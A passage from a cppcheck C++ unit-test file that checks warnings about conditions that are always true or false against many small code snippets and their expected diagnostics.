(a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (M) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define IF(X) if (X && x())\\n\"\n \"void f() {\\n\"\n \" IF(1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP for sizeof condition\n check(\"void f() {\\n\"\n \" if (sizeof(char) != 123) {}\\n\"\n \" if (123 != sizeof(char)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 123;\\n\"\n \" if (sizeof(char) != x) {}\\n\"\n \" if (x != sizeof(char)) {}\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Condition 'sizeof(char)!=x' is always true\\n\"\n \"[test.cpp:4]: (style) Condition 'x!=sizeof(char)' is always true\\n\", \"\", errout_str());\n\n // Don't warn in assertions. Condition is often 'always true' by intention.\n // If platform,defines,etc cause an 'always false' assertion then that is not very dangerous neither\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" assert(x == 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9363 - do not warn about value passed to function\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" if (bar(!b)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #7783 FP knownConditionTrueFalse on assert(0 && \"message\")\n check(\"void foo(int x) {\\n\"\n \" if (x<0)\\n\"\n \" {\\n\"\n \" assert(0 && \\\"bla\\\");\\n\"\n \" ASSERT(0 && \\\"bla\\\");\\n\"\n \" assert_foo(0 && \\\"bla\\\");\\n\"\n \" ASSERT_FOO(0 && \\\"bla\\\");\\n\"\n \" assert((int)(0==0));\\n\"\n \" assert((int)(0==0) && \\\"bla\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7750 char literals in boolean expressions\n check(\"void f() {\\n\"\n \" if('a'){}\\n\"\n \" if(L'b'){}\\n\"\n \" if(1 && 'c'){}\\n\"\n \" int x = 'd' ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8206 - knownCondition always false\n check(\"void f(int i)\\n\"\n \"{\\n\"\n \" if(i > 4)\\n\"\n \" for( int x = 0; i < 3; ++x){}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:29]: (style) Condition 'i<3' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // Skip literals\n check(\"void f() { if(true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(1) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" bool b = false;\\n\"\n \" if (i == 0) b = true;\\n\"\n \" else if (!b && i == 1) {}\\n\"\n \" if (b)\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Condition '!b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f() { return nullptr; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum E { A };\\n\"\n \"bool f() { return A; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(void){return 1/abs(10);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int a = 50;\\n\"\n \" const int b = 52;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Return value 'a+b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" int a = 50;\\n\"\n \" int b = 52;\\n\"\n \" a++;\\n\"\n \" b++;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool& g();\\n\"\n \"bool f() {\\n\"\n \" bool & b = g();\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" bool b;\\n\"\n \" bool f() {\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(long maxtime) {\\n\"\n \" if (std::time(0) > maxtime)\\n\"\n \" return std::time(0) > maxtime;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double param) {\\n\"\n \" while(bar()) {\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i) {\\n\"\n \" if (i==42)\\n\"\n \" {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" if (cond && (42==i))\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 8842 crash\n check(\"class a {\\n\"\n \" int b;\\n\"\n \" c(b);\\n\"\n \" void f() {\\n\"\n \" if (b) return;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* x, const char* t) {\\n\"\n \" if (!(strcmp(x, y) == 0)) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int a[]){ if (a == 0){} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" bool operator<(const S&);\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" S s;\\n\"\n \" bool c = s [test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle == 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=0', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != nullptr) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=nullptr', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(void* x, void* y) {\\n\"\n \" if (x == nullptr && y == nullptr)\\n\"\n \" return;\\n\"\n \" if (x == nullptr || y == nullptr)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" if (a == b)\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:6:9]: (style) Condition 'a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * x, bool b) {\\n\"\n \" if (!x && b) {}\\n\"\n \" else if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const std::string x=\\\"xyz\\\";\\n\"\n \" if(!x.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!x.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"std::string g();\\n\"\n \"void f() {\\n\"\n \" const std::string msg = g();\\n\"\n \" if(!msg.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" else if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9277\n check(\"int f() {\\n\"\n \" constexpr bool x = true;\\n\"\n \" if constexpr (x)\\n\"\n \" return 0;\\n\"\n \" else\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9954\n check(\"void f() {\\n\"\n \" const size_t a(8 * sizeof(short));\\n\"\n \" const size_t b(8 * sizeof(int));\\n\"\n \" if constexpr (a == 16 && b == 16) {}\\n\"\n \" else if constexpr (a == 16 && b == 32) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9319\n check(\"struct S {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void g(S s, bool& x);\\n\"\n \"void f() {\\n\"\n \" bool x = false;\\n\"\n \" g({0, 1}, x);\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9318\n check(\"class A {};\\n\"\n \"class B : public A {};\\n\"\n \"void f(A* x) {\\n\"\n \" if (!x)\\n\"\n \" return;\\n\"\n \" auto b = dynamic_cast(x);\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" auto x = getX();\\n\"\n \" if (x == nullptr)\\n\"\n \" return 1;\\n\"\n \" auto y = dynamic_cast(x)\\n\"\n \" if (y == nullptr)\\n\"\n \" return 2;\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // handleKnownValuesInLoop\n check(\"bool g();\\n\"\n \"void f(bool x) {\\n\"\n \" if (x) while(x) x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // isLikelyStream\n check(\"void f(std::istringstream& iss) {\\n\"\n \" std::string x;\\n\"\n \" while (iss) {\\n\"\n \" iss >> x;\\n\"\n \" if (!iss) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9332\n check(\"struct A { void* g(); };\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" void* b = a.g();\\n\"\n \" if (!b) return;\\n\"\n \" void* c = a.g();\\n\"\n \" if (!c) return;\\n\"\n \" bool compare = c == b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9361\n check(\"void f(char c) {\\n\"\n \" if (c == '.') {}\\n\"\n \" else if (isdigit(c) != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9351\n check(\"int f(int x) {\\n\"\n \" const bool b = x < 42;\\n\"\n \" if(b) return b?0:-1;\\n\"\n \" return 42;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:3:18]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9362\n check(\"uint8_t g();\\n\"\n \"void f() {\\n\"\n \" const uint8_t v = g();\\n\"\n \" if((v != 0x00)) {\\n\"\n \" if( (v & 0x01) == 0x00) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9367\n check(\"void f(long x) {\\n\"\n \" if (x <= 0L)\\n\"\n \" return;\\n\"\n \" if (x % 360L == 0)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a, int b) {\\n\"\n \" static const int x = 10;\\n\"\n \" return x == 1 ? a : b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9709\n check(\"void f(int a) {\\n\"\n \" bool ok = false;\\n\"\n \" const char * r = nullptr;\\n\"\n \" do_something(&r);\\n\"\n \" if (r != nullptr)\\n\"\n \" ok = a != 0;\\n\"\n \" if (ok) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9816\n check(\"bool g();\\n\"\n \"void f() {\\n\"\n \" bool b = false;\\n\"\n \" do {\\n\"\n \" do {\\n\"\n \" if (g())\\n\"\n \" break;\\n\"\n \" b = true;\\n\"\n \" } while(false);\\n\"\n \" } while(!b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9865\n check(\"void f(const std::string &s) {\\n\"\n \" for (std::string::const_iterator it = s.begin(); it != s.end(); ++it) {\\n\"\n \" const unsigned char c = static_cast(*it);\\n\"\n \" if (c == '0') {}\\n\"\n \" else if ((c == 'a' || c == 'A')\\n\"\n \" || (c == 'b' || c == 'B')) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9711\n check(\"int main(int argc, char* argv[]) {\\n\"\n \" int foo = 0;\\n\"\n \" struct option options[] = {\\n\"\n \" {\\\"foo\\\", no_argument, &foo, \\'f\\'},\\n\"\n \" {NULL, 0, NULL, 0},\\n\"\n \" };\\n\"\n \" getopt_long(argc, argv, \\\"f\\\", options, NULL);\\n\"\n \" if (foo) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: if (!v) is a known condition as well\n check(\"struct a {\\n\"\n \" int *b();\\n\"\n \"};\\n\"\n \"bool g(a c, a* d) {\\n\"\n \" a *v, *e = v = &c;\\n\"\n \" if (!v)\\n\"\n \" return true;\\n\"\n \" int *f = v->b();\\n\"\n \" if (f)\\n\"\n \" v = nullptr;\\n\"\n \" if (v == nullptr && e) {}\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:23]: (style) Condition 'e' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10037\n check(\"struct a {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(a*);\\n\"\n \"void f() {\\n\"\n \" struct a b;\\n\"\n \" uint32_t p = (uint32_t) -1;\\n\"\n \" b.p = (void *) &p;\\n\"\n \" int r = g(&b);\\n\"\n \" if (r == 0)\\n\"\n \" if (p != (uint32_t) -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9890\n check(\"int g(int);\\n\"\n \"bool h(int*);\\n\"\n \"int f(int *x) {\\n\"\n \" int y = g(0);\\n\"\n \" if (!y) {\\n\"\n \" if (h(x)) {\\n\"\n \" y = g(1);\\n\"\n \" if (y) {}\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" if (!y) {}\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:11:13]: (style) Condition '!y' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10134\n check(\"bool foo(bool b);\\n\"\n \"bool thud(const std::vector& Arr, const std::wstring& Str) {\\n\"\n \" if (Arr.empty() && Str.empty())\\n\"\n \" return false;\\n\"\n \" bool OldFormat = Arr.empty() && !Str.empty();\\n\"\n \" if (OldFormat)\\n\"\n \" return foo(OldFormat);\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10208\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{'a', 'b'}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(const std::string &first);\\n\"\n \"bool GetNext(const std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (style) Condition 'name.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10278\n check(\"void foo(unsigned int x) {\\n\"\n \" if ((100 - x) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10298\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10121\n check(\"struct AB {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"struct ABC {\\n\"\n \" AB* ab;\\n\"\n \"};\\n\"\n \"void g(ABC*);\\n\"\n \"int f(struct ABC *abc) {\\n\"\n \" int err = 0;\\n\"\n \" AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" g(abc);\\n\"\n \" if (ab->a != 123) {\\n\"\n \" err = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return err;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10323\n check(\"void foo(int x) {\\n\"\n \" if(x)\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if(x) {}\\n\"\n \" else\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:4:14]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // do not report both unsignedLessThanZero and knownConditionTrueFalse\n check(\"void foo(unsigned int max) {\\n\"\n \" unsigned int num = max - 1;\\n\"\n \" if (num < 0) {}\\n\" // <- do not report knownConditionTrueFalse\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10297\n check(\"void foo(size_t len, int start) {\\n\"\n \" if (start < 0) {\\n\"\n \" start = len+start;\\n\"\n \" if (start < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10362\n check(\"int tok;\\n\"\n \"void next();\\n\"\n \"void parse_attribute() {\\n\"\n \" if (tok == '(') {\\n\"\n \" int parenthesis = 0;\\n\"\n \" do {\\n\"\n \" if (tok == '(')\\n\"\n \" parenthesis++;\\n\"\n \" else if (tok == ')')\\n\"\n \" parenthesis--;\\n\"\n \" next();\\n\"\n \" } while (parenthesis && tok != -1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7843\n check(\"void f(int i) {\\n\"\n \" if(abs(i) == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Condition 'abs(i)==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #7844\n check(\"void f(int i) {\\n\"\n \" if(i > 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Condition 'abs(i)==i' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i < 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:24]: (style) Condition 'abs(i)==i' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i > -3 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9948\n check(\"bool f(bool a, bool b) {\\n\"\n \" return a || ! b || ! a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Return value '!a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10148\n check(\"void f(int i) {\\n\"\n \" if (i >= 64) {}\\n\"\n \" else if (i >= 32) {\\n\"\n \" i &= 31;\\n\"\n \" if (i == 0) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10548\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" do {} while (i++ == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10582\n check(\"static void fun(message_t *message) {\\n\"\n \" if (message->length >= 1) {\\n\"\n \" switch (data[0]) {}\\n\"\n \" }\\n\"\n \" uint8_t d0 = message->length > 0 ? data[0] : 0xff;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8266\n check(\"void f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" if (g(&b) || b)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9720\n check(\"bool bar(int &);\\n\"\n \"void f(int a, int b) {\\n\"\n \" if (a + b == 3)\\n\"\n \" return;\\n\"\n \" if (bar(a) && (a + b == 3)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10437\n check(\"void f() {\\n\"\n \" Obj* PObj = nullptr;\\n\"\n \" bool b = false;\\n\"\n \" if (GetObj(PObj) && PObj != nullptr)\\n\"\n \" b = true;\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10223\n check(\"static volatile sig_atomic_t is_running;\\n\"\n \"static void handler(int signum) {\\n\"\n \" is_running = 0;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" signal(SIGINT, &handler);\\n\"\n \" is_running = 1;\\n\"\n \" while (is_running) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10659\n check(\"auto func(const std::tuple& t) {\\n\"\n \" auto& [foo, bar] = t;\\n\"\n \" std::cout << foo << bar << std::endl;\\n\"\n \" return foo < bar;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10484\n check(\"void f() {\\n\"\n \" static bool init = true;\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init(true);\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init{ true };\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n // #10248\n check(\"void f() {\\n\"\n \" static int var(1);\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int var{ 1 };\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9256\n check(\"bool f() {\\n\"\n \" bool b = false;\\n\"\n \" b = true;\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10702\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" void increment() { ++_count;}\\n\"\n \" auto get() const { return _count; }\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object) : _object(object) {}\\n\"\n \" void do_something() { _object.increment(); }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" auto get() const;\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object);\\n\"\n \" void do_something();\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const uint32_t u) {\\n\"\n \"\tconst uint32_t v = u < 4;\\n\"\n \"\tif (v) {\\n\"\n \"\t\tconst uint32_t w = v < 2;\\n\"\n \"\t\tif (w) {}\\n\"\n \"\t}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style) Condition 'v<2' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:7]: (style) Condition 'w' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(double d) {\\n\" // #10792\n \" if (d != 0) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (0 != d) {\\n\"\n \" int i = 